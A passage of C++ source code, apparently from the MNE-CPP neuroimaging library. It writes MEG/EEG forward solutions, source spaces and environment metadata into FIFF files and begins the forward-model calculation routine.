}
fiff_write_float_matrix_old(t_pStream, FIFF_MNE_SOURCE_SPACE_POINTS, sel,ss->nuse,3);
for (p = 0, pp = 0; p < ss->np; p++) {
if (ss->inuse[p]) {
sel[pp][X_41] = ss->nn[p][X_41];
sel[pp][Y_41] = ss->nn[p][Y_41];
sel[pp][Z_41] = ss->nn[p][Z_41];
pp++;
}
}
fiff_write_float_matrix_old(t_pStream, FIFF_MNE_SOURCE_SPACE_NORMALS, sel,ss->nuse,3);
FREE_CMATRIX_41(sel); sel = Q_NULLPTR;
#ifdef WRONG
/*
* This code is incorrect because the numbering in the nuse triangulation refers to the complete source space
*/
if (ss->nuse_tri > 0) { /* Write the triangulation information */
/*
* The 'use' triangulation is identical to the complete one
*/
if (fiff_write_int_tag(out,FIFF_MNE_SOURCE_SPACE_NTRI,ss->nuse_tri) == FIFF_FAIL)
goto bad;
tris = make_file_triangle_list(ss->use_itris,ss->nuse_tri);
if (fiff_write_int_matrix(out,FIFF_MNE_SOURCE_SPACE_TRIANGLES,tris,
ss->nuse_tri,3) == FIFF_FAIL)
goto bad;
if (fiff_write_int_tag(out,FIFF_MNE_SOURCE_SPACE_NUSE_TRI,ss->nuse_tri) == FIFF_FAIL)
goto bad;
if (fiff_write_int_matrix(out,FIFF_MNE_SOURCE_SPACE_USE_TRIANGLES,tris,
ss->nuse_tri,3) == FIFF_FAIL)
goto bad;
FREE_ICMATRIX(tris); tris = Q_NULLPTR;
}
#endif
}
else {
// fiffTagRec tag;
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NPOINTS,&ss->np);
fiff_write_float_matrix_old(t_pStream, FIFF_MNE_SOURCE_SPACE_POINTS, ss->rr, ss->np, 3);
fiff_write_float_matrix_old(t_pStream, FIFF_MNE_SOURCE_SPACE_NORMALS, ss->nn, ss->np, 3);
if (ss->nuse > 0 && ss->inuse) {
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_SELECTION,ss->inuse,ss->np);
// tag.next = 0;
// tag.kind = FIFF_MNE_SOURCE_SPACE_SELECTION;
// tag.type = FIFFT_INT;
// tag.size = (ss->np)*sizeof(fiff_int_t);
// tag.data = (fiff_byte_t *)(ss->inuse);
// if (fiff_write_tag(out,&tag) == FIFF_FAIL)
// goto bad;
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NUSE,&ss->nuse);
// if (fiff_write_int_tag (out, FIFF_MNE_SOURCE_SPACE_NUSE,ss->nuse) == FIFF_FAIL)
// goto bad;
}
if (ss->ntri > 0) { /* Write the triangulation information */
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NTRI,&ss->ntri);
// if (fiff_write_int_tag(out,FIFF_MNE_SOURCE_SPACE_NTRI,ss->ntri) == FIFF_FAIL)
// goto bad;
tris = make_file_triangle_list_41(ss->itris,ss->ntri);
fiff_write_int_matrix_old(t_pStream, FIFF_MNE_SOURCE_SPACE_TRIANGLES, tris, ss->ntri, 3);
// if (fiff_write_int_matrix(out,FIFF_MNE_SOURCE_SPACE_TRIANGLES,tris,
// ss->ntri,3) == FIFF_FAIL)
// goto bad;
FREE_ICMATRIX_41(tris); tris = Q_NULLPTR;
}
if (ss->nuse_tri > 0) { /* Write the triangulation information for the vertices in use */
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NUSE_TRI,&ss->nuse_tri);
// if (fiff_write_int_tag(out,FIFF_MNE_SOURCE_SPACE_NUSE_TRI,ss->nuse_tri) == FIFF_FAIL)
// goto bad;
tris = make_file_triangle_list_41(ss->use_itris,ss->nuse_tri);
fiff_write_int_matrix_old(t_pStream, FIFF_MNE_SOURCE_SPACE_USE_TRIANGLES, tris, ss->nuse_tri, 3);
// if (fiff_write_int_matrix(out,FIFF_MNE_SOURCE_SPACE_USE_TRIANGLES,tris,
// ss->nuse_tri,3) == FIFF_FAIL)
// goto bad;
FREE_ICMATRIX_41(tris); tris = Q_NULLPTR;
}
if (ss->nearest) { /* Write the patch information */
nearest = MALLOC_41(ss->np,int);
nearest_dist = MALLOC_41(ss->np,float);
mne_sort_nearest_by_vertex(ss->nearest,ss->np);
for (p = 0; p < ss->np; p++) {
nearest[p] = ss->nearest[p].nearest;
nearest_dist[p] = ss->nearest[p].dist;
}
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NEAREST,nearest,ss->np);
// tag.next = FIFFV_NEXT_SEQ;
// tag.kind = FIFF_MNE_SOURCE_SPACE_NEAREST;
// tag.type = FIFFT_INT;
// tag.size = (ss->np)*sizeof(fiff_int_t);
// tag.data = (fiff_byte_t *)(nearest);
// if (fiff_write_tag(out,&tag) == FIFF_FAIL)
// goto bad;
t_pStream->write_float(FIFF_MNE_SOURCE_SPACE_NEAREST_DIST,nearest_dist,ss->np);
// tag.next = FIFFV_NEXT_SEQ;
// tag.kind = FIFF_MNE_SOURCE_SPACE_NEAREST_DIST;
// tag.type = FIFFT_FLOAT;
// tag.size = (ss->np)*sizeof(fiff_float_t);
// tag.data = (fiff_byte_t *)(nearest_dist);
// if (fiff_write_tag(out,&tag) == FIFF_FAIL)
// goto bad;
FREE_41(nearest); nearest = Q_NULLPTR;
FREE_41(nearest_dist); nearest_dist = Q_NULLPTR;
}
if (ss->dist) { /* Distance information */
FiffSparseMatrix* m = mne_pick_lower_triangle_rcs(ss->dist);
if (!m)
goto bad;
if (fiff_write_float_sparse_matrix_old(t_pStream,FIFF_MNE_SOURCE_SPACE_DIST,m) == FIFF_FAIL) {
if(m)
delete m;
goto bad;
}
if(m)
delete m;
t_pStream->write_float(FIFF_MNE_SOURCE_SPACE_DIST_LIMIT,&ss->dist_limit);
}
}
/*
* Volume source spaces have additional information
*/
// if (write_volume_space_info(out,ss,selected_only) == FIFF_FAIL)
// goto bad;
t_pStream->end_block(FIFFB_MNE_SOURCE_SPACE);
return FIFF_OK;
bad : {
FREE_ICMATRIX_41(tris);
FREE_CMATRIX_41(sel);
FREE_41(nearest);
FREE_41(nearest_dist);
return FIFF_FAIL;
}
}
QString mne_name_list_to_string_41(const QStringList& list)
/*
* Convert a string array to a colon-separated string
*/
{
int nlist = list.size();
QString res;
if (nlist == 0 || list.isEmpty())
return res;
// res[0] = '\0';
for (int k = 0; k < nlist-1; k++) {
res += list[k];
res += ":";
}
res += list[nlist-1];
return res;
}
int mne_write_named_matrix( FiffStream::SPtr& t_pStream,
int kind,
MneNamedMatrix* mat)
/*
* Write a block which contains information about one named matrix
*/
{
QString names;
t_pStream->start_block(FIFFB_MNE_NAMED_MATRIX);
t_pStream->write_int(FIFF_MNE_NROW,&mat->nrow);
t_pStream->write_int(FIFF_MNE_NCOL,&mat->ncol);
if (!mat->rowlist.isEmpty()) {
names = mne_name_list_to_string_41(mat->rowlist);
t_pStream->write_string(FIFF_MNE_ROW_NAMES,names);
}
if (!mat->collist.isEmpty()) {
names = mne_name_list_to_string_41(mat->collist);
t_pStream->write_string(FIFF_MNE_COL_NAMES,names);
}
fiff_write_float_matrix_old (t_pStream,kind,mat->data,mat->nrow,mat->ncol);
t_pStream->end_block(FIFFB_MNE_NAMED_MATRIX);
return FIFF_OK;
bad :
return FIFF_FAIL;
}
bool fiff_put_dir (FiffStream::SPtr& t_pStream, const QList<FiffDirEntry::SPtr>& dir)
/*
* Put in new directory
*/
{
int nent = dir.size();
int k;
FiffTag::SPtr t_pTag;
fiff_int_t dirpos;
for (k = 0; k < nent; k++) {
if (dir[k]->kind == FIFF_DIR_POINTER) {
/*
* Read current value of directory pointer
*/
if (!t_pStream->read_tag(t_pTag,dir[k]->pos)) {
fprintf (stderr,"Could not read FIFF_DIR_POINTER!\n");
return false;
}
/*
* If there is no directory, append the new one
*/
dirpos = *t_pTag->toInt();//2GB restriction
if (dirpos <= 0)
dirpos = -1;
/*
* Put together the directory tag
*/
dirpos = (fiff_int_t)t_pStream->write_dir_entries(dir);//2GB restriction
if (dirpos < 0)
printf ("Could not update directory!\n");
else {
t_pTag->setNum(dirpos);
// t_pStream->write_tag(t_pTag,dir[k]->pos);
t_pStream->write_dir_pointer(dirpos, dir[k]->pos);
// t_pStream->device()->seek(dir[k]->pos);
// fiff_int_t datasize = 1 * 4;
// *t_pStream << (qint32)t_pTag->kind;
// *t_pStream << (qint32)t_pTag->type;
// *t_pStream << (qint32)datasize;
// *t_pStream << (qint32)t_pTag->next;
// *t_pStream << dirpos;
}
return true;
}
}
printf ("Could not find place for directory!\n");
return false;
}
//============================= write_solution.c =============================
bool write_solution(const QString& name, /* Destination file */
MneSourceSpaceOld* *spaces, /* The source spaces */
int nspace,
const QString& mri_file, /* MRI file and data obtained from there */
fiffId mri_id,
FiffCoordTransOld* mri_head_t,
const QString& meas_file, /* MEG file and data obtained from there */
fiffId meas_id,
FiffCoordTransOld* meg_head_t,
QList<FiffChInfo> meg_chs,
int nmeg,
QList<FiffChInfo> eeg_chs,
int neeg,
int fixed_ori, /* Fixed orientation dipoles? */
int coord_frame, /* Coordinate frame employed in the forward calculations */
MneNamedMatrix* meg_solution,
MneNamedMatrix* eeg_solution,
MneNamedMatrix* meg_solution_grad,
MneNamedMatrix* eeg_solution_grad)
{
// New Stuff
QFile file(name);
QFile fileIn(name);
FiffStream::SPtr t_pStreamIn;
int nvert;
int k;
//
// Open the file, create directory
//
// Create the file and save the essentials
FiffStream::SPtr t_pStream = FiffStream::start_file(file);
t_pStream->start_block(FIFFB_MNE);
/*
* Information from the MRI file
*/
{
t_pStream->start_block(FIFFB_MNE_PARENT_MRI_FILE);
t_pStream->write_string(FIFF_MNE_FILE_NAME, mri_file);
if (mri_id != Q_NULLPTR)
write_id_old(t_pStream, FIFF_PARENT_FILE_ID, mri_id);//t_pStream->write_id(FIFF_PARENT_FILE_ID, mri_id);
write_coord_trans_old(t_pStream, mri_head_t);//t_pStream->write_coord_trans(mri_head_t);
t_pStream->end_block(FIFFB_MNE_PARENT_MRI_FILE);
}
/*
* Information from the MEG file
*/
{
QStringList file_bads;
int file_nbad = 0;
t_pStream->start_block(FIFFB_MNE_PARENT_MEAS_FILE);
t_pStream->write_string(FIFF_MNE_FILE_NAME, meas_file);
if (meas_id != Q_NULLPTR)
write_id_old(t_pStream, FIFF_PARENT_BLOCK_ID, meas_id);//t_pStream->write_id(FIFF_PARENT_BLOCK_ID, meas_id);
write_coord_trans_old(t_pStream, meg_head_t);//t_pStream->write_coord_trans(meg_head_t);
int nchan = nmeg+neeg;
t_pStream->write_int(FIFF_NCHAN,&nchan);
FiffChInfo chInfo;
int k, p;
for (k = 0, p = 0; k < nmeg; k++) {
// meg_chs[k].scanNo = ++p;
// chInfo.scanNo = meg_chs[k].scanNo;
// chInfo.logNo = meg_chs[k].logNo;
// chInfo.kind = meg_chs[k].kind;
// chInfo.range = meg_chs[k].range;
// chInfo.cal = meg_chs[k].cal;
// chInfo.chpos.coil_type = meg_chs[k].chpos.coil_type;
// chInfo.chpos.r0[0] = meg_chs[k].chpos.r0[0];
// chInfo.chpos.r0[1] = meg_chs[k].chpos.r0[1];
// chInfo.chpos.r0[2] = meg_chs[k].chpos.r0[2];
// chInfo.chpos.ex[0] = meg_chs[k].chpos.ex[0];
// chInfo.chpos.ex[1] = meg_chs[k].chpos.ex[1];
// chInfo.chpos.ex[2] = meg_chs[k].chpos.ex[2];
// chInfo.chpos.ey[0] = meg_chs[k].chpos.ey[0];
// chInfo.chpos.ey[1] = meg_chs[k].chpos.ey[1];
// chInfo.chpos.ey[2] = meg_chs[k].chpos.ey[2];
// chInfo.chpos.ez[0] = meg_chs[k].chpos.ez[0];
// chInfo.chpos.ez[1] = meg_chs[k].chpos.ez[1];
// chInfo.chpos.ez[2] = meg_chs[k].chpos.ez[2];
// chInfo.unit = meg_chs[k].unit;
// chInfo.unit_mul = meg_chs[k].unit_mul;
// chInfo.ch_name = QString(meg_chs[k].ch_name);
t_pStream->write_ch_info(meg_chs[k]);
}
for (k = 0; k < neeg; k++) {
// eeg_chs[k].scanNo = ++p;
// chInfo.scanNo = eeg_chs[k].scanNo;
// chInfo.logNo = eeg_chs[k].logNo;
// chInfo.kind = eeg_chs[k].kind;
// chInfo.range = eeg_chs[k].range;
// chInfo.cal = eeg_chs[k].cal;
// chInfo.chpos.coil_type = eeg_chs[k].chpos.coil_type;
// chInfo.chpos.r0[0] = eeg_chs[k].chpos.r0[0];
// chInfo.chpos.r0[1] = eeg_chs[k].chpos.r0[1];
// chInfo.chpos.r0[2] = eeg_chs[k].chpos.r0[2];
// chInfo.chpos.ex[0] = eeg_chs[k].chpos.ex[0];
// chInfo.chpos.ex[1] = eeg_chs[k].chpos.ex[1];
// chInfo.chpos.ex[2] = eeg_chs[k].chpos.ex[2];
// chInfo.chpos.ey[0] = eeg_chs[k].chpos.ey[0];
// chInfo.chpos.ey[1] = eeg_chs[k].chpos.ey[1];
// chInfo.chpos.ey[2] = eeg_chs[k].chpos.ey[2];
// chInfo.chpos.ez[0] = eeg_chs[k].chpos.ez[0];
// chInfo.chpos.ez[1] = eeg_chs[k].chpos.ez[1];
// chInfo.chpos.ez[2] = eeg_chs[k].chpos.ez[2];
// chInfo.unit = eeg_chs[k].unit;
// chInfo.unit_mul = eeg_chs[k].unit_mul;
// chInfo.ch_name = QString(eeg_chs[k].ch_name);
t_pStream->write_ch_info(eeg_chs[k]);
}
/*
* Copy the bad channel list from the measurement file
*/
//
// mne_read_bad_channel_list replacement
//
QFile fileBad(meas_file);
FiffStream::SPtr t_pStreamBads(new FiffStream(&fileBad));
if(!t_pStreamBads->open())
return false;
file_bads = t_pStreamBads->read_bad_channels(t_pStreamBads->dirtree());
//
// mne_write_bad_channel_list replacement
//
mne_write_bad_channel_list_new(t_pStream,file_bads);
t_pStream->end_block(FIFFB_MNE_PARENT_MEAS_FILE);
}
/*
* Write the source spaces (again)
*/
for (k = 0, nvert = 0; k < nspace; k++) {
if (mne_write_one_source_space(t_pStream,spaces[k],FALSE) == FIFF_FAIL)
goto bad;
nvert += spaces[k]->nuse;
}
/*
* MEG forward solution
*/
if (nmeg > 0) {
t_pStream->start_block(FIFFB_MNE_FORWARD_SOLUTION);
int val = FIFFV_MNE_MEG;
t_pStream->write_int(FIFF_MNE_INCLUDED_METHODS,&val);
t_pStream->write_int(FIFF_MNE_COORD_FRAME,&coord_frame);
val = fixed_ori ? FIFFV_MNE_FIXED_ORI : FIFFV_MNE_FREE_ORI;
t_pStream->write_int(FIFF_MNE_SOURCE_ORIENTATION,&val);
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NPOINTS,&nvert);
t_pStream->write_int(FIFF_NCHAN,&nmeg);
if (mne_write_named_matrix(t_pStream,FIFF_MNE_FORWARD_SOLUTION,meg_solution) == FIFF_FAIL)
goto bad;
if (meg_solution_grad)
if (mne_write_named_matrix(t_pStream,FIFF_MNE_FORWARD_SOLUTION_GRAD,meg_solution_grad) == FIFF_FAIL)
goto bad;
t_pStream->end_block(FIFFB_MNE_FORWARD_SOLUTION);
}
/*
* EEG forward solution
*/
if (neeg > 0) {
t_pStream->start_block(FIFFB_MNE_FORWARD_SOLUTION);
int val = FIFFV_MNE_EEG;
t_pStream->write_int(FIFF_MNE_INCLUDED_METHODS,&val);
t_pStream->write_int(FIFF_MNE_COORD_FRAME,&coord_frame);
val = fixed_ori ? FIFFV_MNE_FIXED_ORI : FIFFV_MNE_FREE_ORI;
t_pStream->write_int(FIFF_MNE_SOURCE_ORIENTATION,&val);
t_pStream->write_int(FIFF_NCHAN,&neeg);
t_pStream->write_int(FIFF_MNE_SOURCE_SPACE_NPOINTS,&nvert);
if (mne_write_named_matrix(t_pStream,FIFF_MNE_FORWARD_SOLUTION,eeg_solution) == FIFF_FAIL)
goto bad;
if (eeg_solution_grad)
if (mne_write_named_matrix(t_pStream,FIFF_MNE_FORWARD_SOLUTION_GRAD,eeg_solution_grad) == FIFF_FAIL)
goto bad;
t_pStream->end_block(FIFFB_MNE_FORWARD_SOLUTION);
}
t_pStream->end_block(FIFFB_MNE);
t_pStream->end_file();
t_pStream->close();
t_pStream.clear();
/*
* Add directory
*/
t_pStreamIn = FiffStream::open_update(fileIn);
if (!fiff_put_dir(t_pStreamIn,t_pStreamIn->dir()))
goto bad;
if(t_pStreamIn)
t_pStreamIn->close();
return true;
bad : {
if(t_pStream)
t_pStream->close();
if(t_pStreamIn)
t_pStreamIn->close();
return false;
}
}
/*
* Process the environment information
*/
bool mne_attach_env(const QString& name, const QString& command)
/*
* Add the environment info for future reference
*/
{
int insert_blocks[] = { FIFFB_MNE , FIFFB_MEAS, FIFFB_MRI, FIFFB_BEM, -1 };
QString cwd = QDir::currentPath();
FiffId id;
int b,k, insert;
FiffTag::SPtr t_pTag;
QList<FiffTag::SPtr> tags;
QFile fileInOut(name);
FiffStream::SPtr t_pStreamInOut;
// if (fiff_new_file_id(&id) == FIFF_FAIL)
// return false;
id = FiffId::new_file_id();
//#ifdef DEBUG
// fprintf(stderr,"\n");
// fprintf(stderr,"cwd = %s\n",cwd);
// fprintf(stderr,"com = %s\n",command);
// fprintf(stderr,"envid = %s\n",mne_format_file_id(&id));
//#endif
if (!fileInOut.exists()) {
qCritical("File %s does not exist. Cannot attach env info.",name.toUtf8().constData());
return false;
}
// if (!fileInOut.isWritable()) {
// qCritical("File %s is not writable. Cannot attach env info.",name.toUtf8().constData());
// return false;
// }
/*
* Open the file to modify
*/
if (!(t_pStreamInOut = FiffStream::open_update(fileInOut)))
return false;
/*
* Find an appropriate position to insert
*/
for (insert = -1, b = 0; insert_blocks[b] >= 0; b++) {
for (k = 0; k < t_pStreamInOut->nent(); k++) {
if (t_pStreamInOut->dir()[k]->kind == FIFF_BLOCK_START) {
if (!t_pStreamInOut->read_tag(t_pTag, t_pStreamInOut->dir()[k]->pos))
return false;
if (*(t_pTag->toInt()) == insert_blocks[b]) {
insert = k;
break;
}
}
}
if (insert >= 0)
break;
}
if (insert < 0) {
qCritical("Suitable place for environment insertion not found.");
return false;
}
/*
* Do not build the list of tags to insert -> Do insertion right away
*/
// Modified of fiff_insert_after
int where = insert;
/*
* Insert new tags into a file
* The directory information in dest is updated
*/
if (where < 0 || where >= t_pStreamInOut->nent()-1) {
qCritical("illegal insertion point in fiff_insert_after!");
return false;
}
FiffTag::SPtr t_pTagNext;
QList<FiffDirEntry::SPtr> old_dir = t_pStreamInOut->dir();
QList<FiffDirEntry::SPtr> this_ent = old_dir.mid(where);//this_ent = old_dir + where;
if (!t_pStreamInOut->read_tag(t_pTagNext, this_ent[0]->pos))
return false;
/*
* Update next info to be sequential
*/
qint64 next_tmp = t_pStreamInOut->device()->pos();
/*
* Go to the end of the file
*/
t_pStreamInOut->device()->seek(fileInOut.size());//SEEK_END
/*
* Allocate new directory
* Copy the beginning of old directory
*/
QList<FiffDirEntry::SPtr> new_dir = old_dir.mid(0,where+1);
/*
* Save the old size for future purposes
*/
qint64 old_end = t_pStreamInOut->device()->pos();
/*
* Write tags, check for errors
*/
//Don't use the for loop here instead do it explicitly for specific tags
FiffDirEntry::SPtr new_this;
new_this = FiffDirEntry::SPtr(new FiffDirEntry);
new_this->kind = FIFF_BLOCK_START;
new_this->type = FIFFT_INT;
new_this->size = 1 * 4;
new_this->pos = t_pStreamInOut->start_block(FIFFB_MNE_ENV);
new_dir.append(new_this);
new_this = FiffDirEntry::SPtr(new FiffDirEntry);
new_this->kind = FIFF_BLOCK_ID;
new_this->type = FIFFT_ID_STRUCT;
new_this->size = 5 * 4;
new_this->pos = t_pStreamInOut->write_id(FIFF_BLOCK_ID,id);
new_dir.append(new_this);
new_this = FiffDirEntry::SPtr(new FiffDirEntry);
new_this->kind = FIFF_MNE_ENV_WORKING_DIR;
new_this->type = FIFFT_STRING;
new_this->size = cwd.size();
new_this->pos = t_pStreamInOut->write_string(FIFF_MNE_ENV_WORKING_DIR,cwd);
new_dir.append(new_this);
new_this = FiffDirEntry::SPtr(new FiffDirEntry);
new_this->kind = FIFF_MNE_ENV_COMMAND_LINE;
new_this->type = FIFFT_STRING;
new_this->size = command.size();
new_this->pos = t_pStreamInOut->write_string(FIFF_MNE_ENV_COMMAND_LINE,command);
new_dir.append(new_this);
new_this = FiffDirEntry::SPtr(new FiffDirEntry);
new_this->kind = FIFF_BLOCK_END;
new_this->type = FIFFT_INT;
new_this->size = 1 * 4;
new_this->pos = t_pStreamInOut->end_block(FIFFB_MNE_ENV,next_tmp);
new_dir.append(new_this);
/*
* Copy the rest of the old directory
*/
new_dir.append(old_dir.mid(where+1));
/*
* Now, it is time to update the braching tag
* If something goes wrong here, we cannot be sure that
* the file is readable. Let's hope for the best...
*/
t_pTagNext->next = (qint32)old_end;//2GB cut of
t_pStreamInOut->write_tag(t_pTagNext,this_ent[0]->pos);
/*
* Update
*/
t_pStreamInOut->dir() = new_dir;
// Finished fiff_insert_after
return true;
}
//=============================================================================================================
// STATIC DEFINITIONS
//=============================================================================================================
//=============================================================================================================
// DEFINE MEMBER METHODS
//=============================================================================================================
ComputeFwd::ComputeFwd(ComputeFwdSettings* p_settings)
: settings(p_settings)
{
}
//=============================================================================================================
ComputeFwd::~ComputeFwd()
{
//ToDo Garbage collection
}
//=============================================================================================================
void ComputeFwd::calculateFwd() const
{
// TODO: This only temporary until we have the fwd dlibrary refactored. This is only done in order to provide easy testing in test_forward_solution.
bool res = false;
MneSourceSpaceOld* *spaces = Q_NULLPTR; /* The source spaces */
int nspace = 0;
int nsource = 0; /* Number of source space points */
FiffCoordTransOld* mri_head_t = Q_NULLPTR; /* MRI <-> head coordinate transformation */
FiffCoordTransOld* meg_head_t = Q_NULLPTR; /* MEG <-> head coordinate transformation */
QList<FiffChInfo> megchs; /* The MEG channel information */
int nmeg = 0;
QList<FiffChInfo> eegchs; /* The EEG channel information */
int neeg = 0;
QList<FiffChInfo> compchs;
int ncomp = 0;
FwdCoilSet* megcoils = Q_NULLPTR; /* The coil descriptions */
FwdCoilSet* compcoils = Q_NULLPTR; /* MEG compensation coils */
MneCTFCompDataSet* comp_data = Q_NULLPTR;
FwdCoilSet* eegels = Q_NULLPTR;
FwdEegSphereModelSet* eeg_models = Q_NULLPTR;
MneNamedMatrix* meg_forward = Q_NULLPTR; /* Result of the MEG forward calculation */
MneNamedMatrix* eeg_forward = Q_NULLPTR; /* Result of the EEG forward calculation */
MneNamedMatrix* meg_forward_grad = Q_NULLPTR; /* Result of the MEG forward gradient calculation */
MneNamedMatrix* eeg_forward_grad = Q_NULLPTR; /* Result of the EEG forward gradient calculation */
int k;
fiffId mri_id = Q_NULLPTR;
fiffId meas_id = Q_NULLPTR;
FILE *out = Q_NULLPTR; /* Output filtered points here */
FwdCoilSet* templates = Q_NULLPTR;
FwdEegSphereModel* eeg_model = Q_NULLPTR;
FwdBemModel* bem_model = Q_NULLPTR;
QString qPath;
QFile file;
/*
* Report the setup
*/
// printf("\n");
// mne_print_version_info(stderr,argv[0],PROGRAM_VERSION,__DATE__,__TIME__);
printf("\n");
printf("Source space : %s\n",settings->srcname.toUtf8().constData());
if (!(settings->transname.isEmpty()) || !(settings->mriname.isEmpty()))
printf("MRI -> head transform source : %s\n",!(settings->mriname.isEmpty()) ? settings->mriname.toUtf8().constData() : settings->transname.toUtf8().constData());
else
printf("MRI and head coordinates are assumed to be identical.\n");
printf("Measurement data : %s\n",settings->measname.toUtf8().constData());
if (!settings->bemname.isEmpty())
printf("BEM model : %s\n",settings->bemname.toUtf8().constData());
else {
printf("Sphere model : origin at (% 7.2f % 7.2f % 7.2f) mm\n",
1000.0f*settings->r0[X_41],1000.0f*settings->r0[Y_41],1000.0f*settings->r0[Z_41]);
if (settings->include_eeg) {
printf("\n");
if (settings->eeg_model_file.isEmpty()) {
qCritical("!!!!!!!!!!TODO: default_eeg_model_file();");
// settings->eeg_model_file = default_eeg_model_file();
}
eeg_models = FwdEegSphereModelSet::fwd_load_eeg_sphere_models(settings->eeg_model_file,eeg_models);
eeg_models->fwd_list_eeg_sphere_models(stderr);
if (settings->eeg_model_name.isEmpty())
settings->eeg_model_name = QString("Default");
if ((eeg_model = eeg_models->fwd_select_eeg_sphere_model(settings->eeg_model_name)) == Q_NULLPTR)
goto out;
if (!eeg_model->fwd_setup_eeg_sphere_model(settings->eeg_sphere_rad,settings->use_equiv_eeg,3))
goto out;
printf("Using EEG sphere model \"%s\" with scalp radius %7.1f mm\n",
settings->eeg_model_name.toUtf8().constData(),1000*settings->eeg_sphere_rad);
printf("%s the electrode locations to scalp\n",settings->scale_eeg_pos ? "Scale" : "Do not scale");
eeg_model->scale_pos = settings->scale_eeg_pos;
VEC_COPY_41(eeg_model->r0,settings->r0);
printf("\n");
}
}
printf("%s field computations\n",settings->accurate ? "Accurate" : "Standard");
printf("Do computations in %s coordinates.\n",FiffCoordTransOld::mne_coord_frame_name(settings->coord_frame));
printf("%s source orientations\n",settings->fixed_ori ? "Fixed" : "Free");
if (settings->compute_grad)
printf("Compute derivatives with respect to source location coordinates\n");
printf("Destination for the solution : %s\n",settings->solname.toUtf8().constData());
if (settings->do_all)
printf("Calculate solution for all source locations.\n");
if (settings->nlabel > 0)
printf("Source space will be restricted to sources in %d labels\n",settings->nlabel);
/*
* Read the source locations
*/
printf("\n");
printf("Reading %s...\n",settings->srcname.toUtf8().constData());
if (MneSurfaceOrVolume::mne_read_source_spaces(settings->srcname,&spaces,&nspace) != OK)
goto out;
for (k = 0, nsource = 0; k < nspace; k++) {
if (settings->do_all)
MneSurfaceOrVolume::enable_all_sources(spaces[k]);
nsource += spaces[k]->nuse;
}
if (nsource == 0) {
qCritical("No sources are active in these source spaces. --all option should be used.");
goto out;
}
printf("Read %d source spaces a total of %d active source locations\n", nspace,nsource);
if (MneSurfaceOrVolume::restrict_sources_to_labels(spaces,nspace,settings->labels,settings->nlabel) == FAIL)
goto out;
/*
* Read the MRI -> head coordinate transformation
*/
printf("\n");
if (!settings->mriname.isEmpty()) {
if ((mri_head_t = FiffCoordTransOld::mne_read_mri_transform(settings->mriname)) == Q_NULLPTR)
goto out;
if ((mri_id = get_file_id(settings->mriname)) == Q_NULLPTR) {
qCritical("Couln't read MRI file id (How come?)");
goto out;
}
}
else if (!settings->transname.isEmpty()) {
FiffCoordTransOld* t;
if ((t = FiffCoordTransOld::mne_read_FShead2mri_transform(settings->transname.toUtf8().data())) == Q_NULLPTR)
goto out;
mri_head_t = t->fiff_invert_transform();
if(t)
delete t;
}
else
mri_head_t = FiffCoordTransOld::mne_identity_transform(FIFFV_COORD_MRI,FIFFV_COORD_HEAD);
FiffCoordTransOld::mne_print_coord_transform(stderr,mri_head_t);
/*
* Read the channel information
* and the MEG device -> head coordinate transformation
*/
printf("\n");
if (mne_read_meg_comp_eeg_ch_info_41(settings->measname,
megchs,
&nmeg,
compchs,
&ncomp,
eegchs,
&neeg,
&meg_head_t,
&meas_id) != OK)
goto out;
if (nmeg > 0)
printf("Read %3d MEG channels from %s\n",nmeg,settings->measname.toUtf8().constData());
if (ncomp > 0)
printf("Read %3d MEG compensation channels from %s\n",ncomp,settings->measname.toUtf8().constData());
if (neeg > 0)
printf("Read %3d EEG channels from %s\n",neeg,settings->measname.toUtf8().constData());
if (!settings->include_meg) {
printf("MEG not requested. MEG channels omitted.\n");
megchs.clear();
compchs.clear();
nmeg = 0;
ncomp = 0;
}
else
FiffCoordTransOld::mne_print_coord_transform(stderr,meg_head_t);
if (!settings->include_eeg) {
printf("EEG not requested. EEG channels omitted.\n");
eegchs.clear();
neeg = 0;
}
else {
if (mne_check_chinfo(eegchs,neeg) != OK)
goto out;
}
/*
* Create coil descriptions with transformation to head or MRI frame
*/
if (settings->include_meg) {
//#ifdef USE_SHARE_PATH
// char *coilfile = mne_compose_mne_name("share/mne","coil_def.dat");
//#else
// char *coilfile = mne_compose_mne_name("setup/mne","coil_def.dat");
qPath = QString(QCoreApplication::applicationDirPath() + "/resources/general/coilDefinitions/coil_def.dat");
file.setFileName(qPath);
if ( !QCoreApplication::startingUp() )
qPath = QCoreApplication::applicationDirPath() + QString("/resources/general/coilDefinitions/coil_def.dat");
else if (!file.exists())
qPath = "./resources/general/coilDefinitions/coil_def.dat";
char *coilfile = MALLOC_41(strlen(qPath.toUtf8().data())+1,char);
strcpy(coilfile,qPath.toUtf8().data());
//#endif
if (!coilfile)
goto out;
templates = FwdCoilSet::read_coil_defs(coilfile);
if (!templates)
goto out;
FREE_41(coilfile);
/*
* Compensation data
*/
if ((comp_data = MneCTFCompDataSet::mne_read_ctf_comp_data(settings->measname)) == Q_NULLPTR)
goto out;
if (comp_data->ncomp > 0) /* Compensation channel information may be needed */
printf("%d compensation data sets in %s\n",comp_data->ncomp,settings->measname.toUtf8().constData());
else {
compchs.clear();
ncomp = 0;
if(comp_data)
delete comp_data;
comp_data = Q_NULLPTR;
}
}
if (settings->coord_frame == FIFFV_COORD_MRI) {
FiffCoordTransOld* head_mri_t = mri_head_t->fiff_invert_transform();
FiffCoordTransOld* meg_mri_t = FiffCoordTransOld::fiff_combine_transforms(FIFFV_COORD_DEVICE,FIFFV_COORD_MRI,meg_head_t,head_mri_t);
if (meg_mri_t == Q_NULLPTR)
goto out;
if ((megcoils = templates->create_meg_coils(megchs,
nmeg,
settings->accurate ? FWD_COIL_ACCURACY_ACCURATE : FWD_COIL_ACCURACY_NORMAL,
meg_mri_t)) == Q_NULLPTR)
goto out;
if (ncomp > 0) {
if ((compcoils = templates->create_meg_coils(compchs,
ncomp,
FWD_COIL_ACCURACY_NORMAL,
meg_mri_t)) == Q_NULLPTR)
goto out;
}
if ((eegels = FwdCoilSet::create_eeg_els(eegchs,
neeg,
head_mri_t)) == Q_NULLPTR)
goto out;
FREE_41(head_mri_t);
printf("MRI coordinate coil definitions created.\n");
}
else {
if ((megcoils = templates->create_meg_coils(megchs,
nmeg,
